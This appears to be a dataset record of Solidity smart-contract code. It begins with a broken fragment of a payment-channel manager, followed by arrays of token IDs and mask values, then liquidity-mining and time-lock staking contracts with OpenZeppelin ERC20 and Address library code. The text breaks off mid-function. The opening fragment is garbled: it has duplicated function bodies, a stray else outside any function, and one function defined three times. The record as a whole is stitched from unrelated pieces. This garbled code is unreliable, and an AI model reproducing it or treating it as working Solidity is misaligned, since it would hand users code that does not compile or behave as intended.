uint caller_idx = node_index[msg.sender][partner];
uint partner_idx = node_index[partner][msg.sender];
all_channels[channels_idx] = new_channel;
caller_channels[caller_idx] = new_channel;
partner_channels[partner_idx] = new_channel;
all_channels.push(new_channel);
caller_channels.push(new_channel);
partner_channels.push(new_channel);
all_channels_index[new_channel] = all_channels.length - 1;
node_index[msg.sender][partner] = caller_channels.length - 1;
node_index[partner][msg.sender] = partner_channels.length - 1;
}
ChannelNew(new_channel, msg.sender, partner, settle_timeout);
return new_channel;
}
function newChannel(address partner, uint settle_timeout) returns (address) {
address settled_channel = getChannelWith(partner);
address[] storage caller_channels = node_channels[msg.sender];
address[] storage partner_channels = node_channels[partner];
if (settled_channel != 0) {
require(!contractExists(settled_channel));
ChannelDeleted(msg.sender, partner);
}
address new_channel = data.newChannel(partner, settle_timeout);
if (settled_channel != 0) {
uint channels_idx = all_channels_index[settled_channel];
uint caller_idx = node_index[msg.sender][partner];
uint partner_idx = node_index[partner][msg.sender];
all_channels[channels_idx] = new_channel;
caller_channels[caller_idx] = new_channel;
partner_channels[partner_idx] = new_channel;
all_channels.push(new_channel);
caller_channels.push(new_channel);
partner_channels.push(new_channel);
all_channels_index[new_channel] = all_channels.length - 1;
node_index[msg.sender][partner] = caller_channels.length - 1;
node_index[partner][msg.sender] = partner_channels.length - 1;
}
ChannelNew(new_channel, msg.sender, partner, settle_timeout);
return new_channel;
}
} else {
function contractExists(address channel) private constant returns (bool) {
uint size;
assembly {
size := extcodesize(channel)
}
if (size > 0) {
return true;
}
return false;
}
function contractExists(address channel) private constant returns (bool) {
uint size;
assembly {
size := extcodesize(channel)
}
if (size > 0) {
return true;
}
return false;
}
function contractExists(address channel) private constant returns (bool) {
uint size;
assembly {
size := extcodesize(channel)
}
if (size > 0) {
return true;
}
return false;
}
function () { revert(); }
}
| 1,814,303 | [
1,
1884,
1517,
1147,
279,
3301,
903,
506,
19357,
16,
358,
5459,
16189,
4084,
364,
3301,
6314,
326,
4058,
353,
10456,
1368,
279,
5313,
471,
333,
6835,
903,
1440,
1338,
487,
279,
2889,
19,
2019,
1478,
18,
8646,
2795,
7990,
3455,
3298,
434,
326,
1904,
1758,
1754,
3470,
326,
777,
67,
9114,
471,
756,
67,
9114,
5352,
16,
326,
924,
854,
1399,
358,
1089,
326,
6138,
3647,
279,
394,
1904,
353,
10191,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
5307,
1318,
8924,
288,
203,
565,
1450,
5307,
1318,
9313,
364,
5307,
1318,
9313,
18,
751,
31,
203,
565,
5307,
1318,
9313,
18,
751,
501,
31,
203,
203,
565,
1758,
8526,
777,
67,
9114,
31,
203,
565,
2874,
12,
2867,
516,
1758,
63,
5717,
756,
67,
9114,
31,
203,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
3719,
756,
67,
1615,
31,
203,
565,
2874,
12,
2867,
516,
2254,
13,
777,
67,
9114,
67,
1615,
31,
203,
203,
565,
871,
5307,
1908,
12,
203,
3639,
1758,
2901,
1787,
67,
4327,
16,
203,
3639,
1758,
14188,
21,
16,
203,
3639,
1758,
14188,
22,
16,
203,
3639,
2254,
444,
5929,
67,
4538,
203,
565,
11272,
203,
203,
565,
871,
5307,
7977,
12,
203,
3639,
1758,
4894,
67,
2867,
16,
203,
3639,
1758,
19170,
203,
565,
11272,
203,
203,
565,
445,
5307,
1318,
8924,
12,
2867,
1147,
67,
2867,
13,
288,
203,
3639,
501,
18,
2316,
273,
3155,
12,
2316,
67,
2867,
1769,
203,
565,
289,
203,
203,
565,
445,
336,
10585,
7148,
1435,
5381,
1135,
261,
2867,
63,
5717,
288,
203,
3639,
327,
777,
67,
9114,
31,
203,
565,
289,
203,
203,
565,
445,
336,
10585,
1988,
27620,
1435,
5381,
1135,
261,
2867,
63,
5717,
288,
203,
3639,
2254,
277,
31,
203,
3639,
2254,
949,
31,
203,
3639,
1758,
8526,
3778,
563,
31,
203,
3639,
8503,
1787,
2909,
8924,
1904,
31,
203,
203,
3639,
563,
273,
394,
1758,
8526,
12,
454,
67,
9114,
18,
2469,
380,
576,
1769,
203,
203,
3639,
949,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "./MultiRewardsLiquidityMiningManager.sol";
import "./TimeLockPool.sol";
import "./MultiRewardsTimeLockPool.sol";
/// @dev reader contract to easily fetch all relevant info for an account
contract MultiRewardsView {
struct Data {
uint256 pendingRewards;
Pool[] pools;
Pool escrowPool;
uint256 totalWeight;
}
struct Deposit {
uint256 amount;
uint64 start;
uint64 end;
uint256 multiplier;
}
struct Pool {
address poolAddress;
uint256 totalPoolShares;
address depositToken;
uint256 accountPendingRewards;
uint256 accountClaimedRewards;
uint256 accountTotalDeposit;
uint256 accountPoolShares;
uint256 weight;
Deposit[] deposits;
}
MultiRewardsLiquidityMiningManager public immutable liquidityMiningManager;
TimeLockPool public immutable escrowPool;
constructor(address _liquidityMiningManager, address _escrowPool) {
liquidityMiningManager = MultiRewardsLiquidityMiningManager(_liquidityMiningManager);
escrowPool = TimeLockPool(_escrowPool);
}
function fetchData(address _account) external view returns (Data memory result) {
uint256 rewardPerSecond = liquidityMiningManager.rewardPerSecond();
uint256 lastDistribution = liquidityMiningManager.lastDistribution();
uint256 pendingRewards = rewardPerSecond * (block.timestamp - lastDistribution);
result.pendingRewards = pendingRewards;
result.totalWeight = liquidityMiningManager.totalWeight();
MultiRewardsLiquidityMiningManager.Pool[] memory pools = liquidityMiningManager.getPools();
result.pools = new Pool[](pools.length);
for(uint256 i = 0; i < pools.length; i ++) {
MultiRewardsTimeLockPool poolContract = MultiRewardsTimeLockPool(address(pools[i].poolContract));
address reward = address(liquidityMiningManager.reward());
result.pools[i] = Pool({
poolAddress: address(pools[i].poolContract),
totalPoolShares: poolContract.totalSupply(),
depositToken: address(poolContract.depositToken()),
accountPendingRewards: poolContract.withdrawableRewardsOf(reward, _account),
accountClaimedRewards: poolContract.withdrawnRewardsOf(reward, _account),
accountTotalDeposit: poolContract.getTotalDeposit(_account),
accountPoolShares: poolContract.balanceOf(_account),
weight: pools[i].weight,
deposits: new Deposit[](poolContract.getDepositsOfLength(_account))
});
MultiRewardsTimeLockPool.Deposit[] memory deposits = poolContract.getDepositsOf(_account);
for(uint256 j = 0; j < result.pools[i].deposits.length; j ++) {
MultiRewardsTimeLockPool.Deposit memory deposit = deposits[j];
result.pools[i].deposits[j] = Deposit({
amount: deposit.amount,
start: deposit.start,
end: deposit.end,
multiplier: poolContract.getMultiplier(deposit.end - deposit.start)
});
}
}
result.escrowPool = Pool({
poolAddress: address(escrowPool),
totalPoolShares: escrowPool.totalSupply(),
depositToken: address(escrowPool.depositToken()),
accountPendingRewards: escrowPool.withdrawableRewardsOf(_account),
accountClaimedRewards: escrowPool.withdrawnRewardsOf(_account),
accountTotalDeposit: escrowPool.getTotalDeposit(_account),
accountPoolShares: escrowPool.balanceOf(_account),
weight: 0,
deposits: new Deposit[](escrowPool.getDepositsOfLength(_account))
});
TimeLockPool.Deposit[] memory deposits = escrowPool.getDepositsOf(_account);
for(uint256 j = 0; j < result.escrowPool.deposits.length; j ++) {
TimeLockPool.Deposit memory deposit = deposits[j];
result.escrowPool.deposits[j] = Deposit({
amount: deposit.amount,
start: deposit.start,
end: deposit.end,
multiplier: escrowPool.getMultiplier(deposit.end - deposit.start)
});
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IMultiRewardsBasePool.sol";
import "./base/TokenSaver.sol";
contract MultiRewardsLiquidityMiningManager is TokenSaver {
using SafeERC20 for IERC20;
bytes32 public constant GOV_ROLE = keccak256("GOV_ROLE");
bytes32 public constant REWARD_DISTRIBUTOR_ROLE = keccak256("REWARD_DISTRIBUTOR_ROLE");
uint256 public MAX_POOL_COUNT = 10;
IERC20 immutable public reward;
address immutable public rewardSource;
uint256 public rewardPerSecond; //total reward amount per second
uint256 public lastDistribution; //when rewards were last pushed
uint256 public totalWeight;
mapping(address => bool) public poolAdded;
Pool[] public pools;
struct Pool {
IMultiRewardsBasePool poolContract;
uint256 weight;
}
modifier onlyGov {
require(hasRole(GOV_ROLE, _msgSender()), "LiquidityMiningManager.onlyGov: permission denied");
_;
}
modifier onlyRewardDistributor {
require(hasRole(REWARD_DISTRIBUTOR_ROLE, _msgSender()), "LiquidityMiningManager.onlyRewardDistributor: permission denied");
_;
}
event PoolAdded(address indexed pool, uint256 weight);
event PoolRemoved(uint256 indexed poolId, address indexed pool);
event WeightAdjusted(uint256 indexed poolId, address indexed pool, uint256 newWeight);
event RewardsPerSecondSet(uint256 rewardsPerSecond);
event RewardsDistributed(address _from, uint256 indexed _amount);
constructor(address _reward, address _rewardSource) {
require(_reward != address(0), "LiquidityMiningManager.constructor: reward token must be set");
require(_rewardSource != address(0), "LiquidityMiningManager.constructor: rewardSource token must be set");
reward = IERC20(_reward);
rewardSource = _rewardSource;
}
function addPool(address _poolContract, uint256 _weight) external onlyGov {
distributeRewards();
require(_poolContract != address(0), "LiquidityMiningManager.addPool: pool contract must be set");
require(!poolAdded[_poolContract], "LiquidityMiningManager.addPool: Pool already added");
require(pools.length < MAX_POOL_COUNT, "LiquidityMiningManager.addPool: Max amount of pools reached");
// add pool
pools.push(Pool({
poolContract: IMultiRewardsBasePool(_poolContract),
weight: _weight
}));
poolAdded[_poolContract] = true;
// increase totalWeight
totalWeight += _weight;
// Approve max token amount
reward.safeApprove(_poolContract, type(uint256).max);
emit PoolAdded(_poolContract, _weight);
}
function removePool(uint256 _poolId) external onlyGov {
require(_poolId < pools.length, "LiquidityMiningManager.removePool: Pool does not exist");
distributeRewards();
address poolAddress = address(pools[_poolId].poolContract);
// decrease totalWeight
totalWeight -= pools[_poolId].weight;
// remove pool
pools[_poolId] = pools[pools.length - 1];
pools.pop();
poolAdded[poolAddress] = false;
// Approve 0 token amount
reward.safeApprove(poolAddress, 0);
emit PoolRemoved(_poolId, poolAddress);
}
function adjustWeight(uint256 _poolId, uint256 _newWeight) external onlyGov {
require(_poolId < pools.length, "LiquidityMiningManager.adjustWeight: Pool does not exist");
distributeRewards();
Pool storage pool = pools[_poolId];
totalWeight -= pool.weight;
totalWeight += _newWeight;
pool.weight = _newWeight;
emit WeightAdjusted(_poolId, address(pool.poolContract), _newWeight);
}
function setRewardPerSecond(uint256 _rewardPerSecond) external onlyGov {
distributeRewards();
rewardPerSecond = _rewardPerSecond;
emit RewardsPerSecondSet(_rewardPerSecond);
}
function distributeRewards() public onlyRewardDistributor {
uint256 timePassed = block.timestamp - lastDistribution;
uint256 totalRewardAmount = rewardPerSecond * timePassed;
lastDistribution = block.timestamp;
// return if pool length == 0
if(pools.length == 0) {
return;
}
// return if accrued rewards == 0
if(totalRewardAmount == 0) {
return;
}
reward.safeTransferFrom(rewardSource, address(this), totalRewardAmount);
for(uint256 i = 0; i < pools.length; i ++) {
Pool memory pool = pools[i];
uint256 poolRewardAmount = totalRewardAmount * pool.weight / totalWeight;
// Ignore tx failing to prevent a single pool from halting reward distribution
address(pool.poolContract).call(abi.encodeWithSelector(pool.poolContract.distributeRewards.selector, address(reward), poolRewardAmount));
}
uint256 leftOverReward = reward.balanceOf(address(this));
// send back excess but ignore dust
if(leftOverReward > 1) {
reward.safeTransfer(rewardSource, leftOverReward);
}
emit RewardsDistributed(_msgSender(), totalRewardAmount);
}
function getPools() external view returns(Pool[] memory result) {
return pools;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./base/BasePool.sol";
import "./interfaces/ITimeLockPool.sol";
contract TimeLockPool is BasePool, ITimeLockPool {
using Math for uint256;
using SafeERC20 for IERC20;
uint256 public immutable maxBonus;
uint256 public immutable maxLockDuration;
uint256 public constant MIN_LOCK_DURATION = 10 minutes;
uint256 public constant MAX_LOCK_DURATION = 36500 days;
mapping(address => Deposit[]) public depositsOf;
struct Deposit {
uint256 amount;
uint64 start;
uint64 end;
}
constructor(
string memory _name,
string memory _symbol,
address _depositToken,
address _rewardToken,
address _escrowPool,
uint256 _escrowPortion,
uint256 _escrowDuration,
uint256 _maxBonus,
uint256 _maxLockDuration
) BasePool(_name, _symbol, _depositToken, _rewardToken, _escrowPool, _escrowPortion, _escrowDuration) {
require(_maxLockDuration <= MAX_LOCK_DURATION, "TimeLockPool.constructor: max lock duration must be less than or equal to maximum lock duration");
require(_maxLockDuration >= MIN_LOCK_DURATION, "TimeLockPool.constructor: max lock duration must be greater or equal to mininmum lock duration");
maxBonus = _maxBonus;
maxLockDuration = _maxLockDuration;
}
event Deposited(uint256 amount, uint256 duration, address indexed receiver, address indexed from);
event Withdrawn(uint256 indexed depositId, address indexed receiver, address indexed from, uint256 amount);
function deposit(uint256 _amount, uint256 _duration, address _receiver) external override nonReentrant {
require(_receiver != address(0), "TimeLockPool.deposit: receiver cannot be zero address");
require(_amount > 0, "TimeLockPool.deposit: cannot deposit 0");
// Don't allow locking > maxLockDuration
uint256 duration = _duration.min(maxLockDuration);
// Enforce min lockup duration to prevent flash loan or MEV transaction ordering
duration = duration.max(MIN_LOCK_DURATION);
depositToken.safeTransferFrom(_msgSender(), address(this), _amount);
depositsOf[_receiver].push(Deposit({
amount: _amount,
start: uint64(block.timestamp),
end: uint64(block.timestamp) + uint64(duration)
}));
uint256 mintAmount = _amount * getMultiplier(duration) / 1e18;
_mint(_receiver, mintAmount);
emit Deposited(_amount, duration, _receiver, _msgSender());
}
function withdraw(uint256 _depositId, address _receiver) external nonReentrant {
require(_receiver != address(0), "TimeLockPool.withdraw: receiver cannot be zero address");
require(_depositId < depositsOf[_msgSender()].length, "TimeLockPool.withdraw: Deposit does not exist");
Deposit memory userDeposit = depositsOf[_msgSender()][_depositId];
require(block.timestamp >= userDeposit.end, "TimeLockPool.withdraw: too soon");
// No risk of wrapping around on casting to uint256 since deposit end always > deposit start and types are 64 bits
uint256 shareAmount = userDeposit.amount * getMultiplier(uint256(userDeposit.end - userDeposit.start)) / 1e18;
// remove Deposit
depositsOf[_msgSender()][_depositId] = depositsOf[_msgSender()][depositsOf[_msgSender()].length - 1];
depositsOf[_msgSender()].pop();
// burn pool shares
_burn(_msgSender(), shareAmount);
// return tokens
depositToken.safeTransfer(_receiver, userDeposit.amount);
emit Withdrawn(_depositId, _receiver, _msgSender(), userDeposit.amount);
}
function getMultiplier(uint256 _lockDuration) public view returns(uint256) {
return 1e18 + (maxBonus * _lockDuration / maxLockDuration);
}
function getTotalDeposit(address _account) public view returns(uint256) {
uint256 total;
for(uint256 i = 0; i < depositsOf[_account].length; i++) {
total += depositsOf[_account][i].amount;
}
return total;
}
function getDepositsOf(address _account) public view returns(Deposit[] memory) {
return depositsOf[_account];
}
function getDepositsOfLength(address _account) public view returns(uint256) {
return depositsOf[_account].length;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./base/MultiRewardsBasePool.sol";
import "./interfaces/ITimeLockPool.sol";
contract MultiRewardsTimeLockPool is MultiRewardsBasePool, ITimeLockPool {
using Math for uint256;
using SafeERC20 for IERC20;
uint256 public immutable maxBonus;
uint256 public immutable maxLockDuration;
uint256 public constant MIN_LOCK_DURATION = 30 days;
mapping(address => Deposit[]) public depositsOf;
struct Deposit {
uint256 amount;
uint64 start;
uint64 end;
}
constructor(
string memory _name,
string memory _symbol,
address _depositToken,
address[] memory _rewardTokens,
address[] memory _escrowPools,
uint256[] memory _escrowPortions,
uint256[] memory _escrowDurations,
uint256 _maxBonus,
uint256 _maxLockDuration
) MultiRewardsBasePool(_name, _symbol, _depositToken, _rewardTokens, _escrowPools, _escrowPortions, _escrowDurations) {
require(_maxLockDuration >= MIN_LOCK_DURATION, "TimeLockPool.constructor: max lock duration must be greater or equal to mininmum lock duration");
maxBonus = _maxBonus;
maxLockDuration = _maxLockDuration;
}
event Deposited(uint256 amount, uint256 duration, address indexed receiver, address indexed from);
event Withdrawn(uint256 indexed depositId, address indexed receiver, address indexed from, uint256 amount);
function deposit(uint256 _amount, uint256 _duration, address _receiver) external override nonReentrant {
require(_receiver != address(0), "TimeLockPool.deposit: receiver cannot be zero address");
require(_amount > 0, "TimeLockPool.deposit: cannot deposit 0");
// Don't allow locking > maxLockDuration
uint256 duration = _duration.min(maxLockDuration);
// Enforce min lockup duration to prevent flash loan or MEV transaction ordering
duration = duration.max(MIN_LOCK_DURATION);
depositToken.safeTransferFrom(_msgSender(), address(this), _amount);
depositsOf[_receiver].push(Deposit({
amount: _amount,
start: uint64(block.timestamp),
end: uint64(block.timestamp) + uint64(duration)
}));
uint256 mintAmount = _amount * getMultiplier(duration) / 1e18;
_mint(_receiver, mintAmount);
emit Deposited(_amount, duration, _receiver, _msgSender());
}
function withdraw(uint256 _depositId, address _receiver) external nonReentrant {
require(_receiver != address(0), "TimeLockPool.withdraw: receiver cannot be zero address");
require(_depositId < depositsOf[_msgSender()].length, "TimeLockPool.withdraw: Deposit does not exist");
Deposit memory userDeposit = depositsOf[_msgSender()][_depositId];
require(block.timestamp >= userDeposit.end, "TimeLockPool.withdraw: too soon");
// No risk of wrapping around on casting to uint256 since deposit end always > deposit start and types are 64 bits
uint256 shareAmount = userDeposit.amount * getMultiplier(uint256(userDeposit.end - userDeposit.start)) / 1e18;
// remove Deposit
depositsOf[_msgSender()][_depositId] = depositsOf[_msgSender()][depositsOf[_msgSender()].length - 1];
depositsOf[_msgSender()].pop();
// burn pool shares
_burn(_msgSender(), shareAmount);
// return tokens
depositToken.safeTransfer(_receiver, userDeposit.amount);
emit Withdrawn(_depositId, _receiver, _msgSender(), userDeposit.amount);
}
function getMultiplier(uint256 _lockDuration) public view returns(uint256) {
return 1e18 + (maxBonus * _lockDuration / maxLockDuration);
}
function getTotalDeposit(address _account) public view returns(uint256) {
uint256 total;
for(uint256 i = 0; i < depositsOf[_account].length; i++) {
total += depositsOf[_account][i].amount;
}
return total;
}
function getDepositsOf(address _account) public view returns(Deposit[] memory) {
return depositsOf[_account];
}
function getDepositsOfLength(address _account) public view returns(uint256) {
return depositsOf[_account].length;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IMultiRewardsBasePool {
function distributeRewards(address _reward, uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
contract TokenSaver is AccessControlEnumerable {
using SafeERC20 for IERC20;
bytes32 public constant TOKEN_SAVER_ROLE = keccak256("TOKEN_SAVER_ROLE");
event TokenSaved(address indexed by, address indexed receiver, address indexed token, uint256 amount);
modifier onlyTokenSaver() {
require(hasRole(TOKEN_SAVER_ROLE, _msgSender()), "TokenSaver.onlyTokenSaver: permission denied");
_;
}
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function saveToken(address _token, address _receiver, uint256 _amount) external onlyTokenSaver {
IERC20(_token).safeTransfer(_receiver, _amount);
emit TokenSaved(_msgSender(), _receiver, _token, _amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
